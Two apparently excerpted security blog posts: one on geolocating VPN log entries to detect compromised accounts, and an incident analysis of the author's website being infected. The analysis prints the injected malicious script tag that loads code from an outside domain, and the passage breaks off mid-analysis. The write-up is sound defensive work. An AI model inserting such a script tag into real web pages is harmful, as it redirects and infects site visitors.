02 June 2011

Geolocational Log Analysis: Think Globally, Act Locally


In many network environments the administrators and security engineers have an understanding of the full geographical scope and reach of their network. While some corporations have a global audience and expect traffic from the far reaches of the world, others are more localized and target a specific small region.

A health care provider for Alaska would monitor its network connections to ensure that network connections are limited to its main source of users, i.e. those in Alaska. An insurance company in St. Louis will see mostly traffic from IP addresses in Missouri, but Illinois as well, due to the city  being on the state line.

Occasionally, administrators may notice connections being made from Hawaii, Bermuda, or Italy, signifying users who are on vacation but are still wired in to their work. However, a long-term series of connections from a Eircom subscriber, Ireland’s largest ISP, should spark interest to the network administrator of a Seattle tax firm.

While anonymous web connections from global addresses are common, specific attention should be paid to such addresses being used to access password-protected areas of a corporation. This could include remote file access, VPN and web-based corporate email.

In such cases the logs from these applications, usually supplied in plain text or W3C format, contain details about transactions to include the remote IP address and the account name being authorized. In reviewing logs from various incident responses cmdLabs has found details to show that a short log review made on a daily basis could help smaller corporations determine quickly if a user account was compromised and accessed from a remote location.

For example, the log sample below from a Cisco ASA tracks VPN connections. The user “cmdLabs\bbaskin” was accessed via the IP address of 159.134.100.100 on 2 April, 2011, an IP that was traced back to Ireland. A few hours later the same account was accessed from an IP address in Austria.



Apr  2 21:53:37 192.168.1.1 Apr 02 2011 21: 53:08: %ASA-6-302013: Built outbound TCP connection 7823 for inside:10.10.10.50/389 (10.10.10.50/389) to NP Identity Ifc:192.168.1.1/1047 (192.168.1.1/1047)
Apr  2 21:53:37 192.168.1.1 Apr 02 2011 21: 53:08: %ASA-6-104: AAA user authentication Successful : server =  10.10.10.50 : user = cmdLabs\bbaskin
Apr  2 21:53:37 192.168.1.1 Apr 02 2011 21: 53:08: %ASA-6-113009: AAA retrieved default group policy (DfltGrpPolicy) for user = cmdLabs\bbaskin
Apr  2 21:53:37 192.168.1.1 Apr 02 2011 21: 53:08: %ASA-6-113008: AAA transaction status ACCEPT : user = cmdLabs\bbaskin
Apr  2 21:53:37 192.168.1.1 Apr 02 2011 21: 53:08: %ASA-6-734001: DAP: User cmdLabs\bbaskin, Addr 159.134.100.100, Connection Clientless: The following DAP records were selected for this connection: DfltAccessPolicy


For this small set of data it is trivial to query each IP address to determine its country of origin, netblock owner, and other details that would highlight unauthorized access. The problem arises when you have hundreds of thousands of such transactions in your daily log files.

07 April 2011

Analysis of Web-based Malware Attack

Due to the very nature that this is a website on the Internet means that eventually it would be susceptible to an attack. Wordpress and blog sites are notoriously targeted with infections that append code to HTML files that point them to malicious or advertisement websites. My website was similarly affected last month. Here is how the issue was identified and rectified in just a few minutes after notification.

Notification came by way of Twitter when a friend notified me that my site was redirecting to somewhere else.  I was sitting at my desk and quickly opened it to verify.  Sure enough, it was:

Malware infection shown to visitors


I SSH'd into the system and immediately changed the password. I then started looking for the culprit. The main file that was causing the redirection was named 'books.htm' and was in my web root folder. This was a simple HTML page that just lists the book projects I've worked on.

The first thing I did was manually view the file to see the impact. There was an added line of code to the very beginning of the file:


<script src="http://globalpoweringgathering.com/nl.php?p=1"></script>\n
With the infection spotted, I checked the file's MAC times to see when the attack occurred:



$ stat books.htm
File: `books.htm'
Size:1500      Blocks:8          IO Block:4096   regular file
Device:811h/2065d Inode:275324414   Links:1
Access: (0664/-rw-rw-r--)  Uid: (10369090/ bbaskin)   Gid: (45673/pg144238)
Access: 2010-07-19 07:10:46.000000000 -0700
Modify: 2011-04-02 23:35:38.000000000 -0700
Change: 2011-04-02 23:35:38.000000000 -0700

Looking at the results of this file shows that the file was modified and changed on April 2nd at 11:35PM. This is just one file, so we need to compare against another file to verify the date and time. A quick spot check showed an additional HTM file with the infection: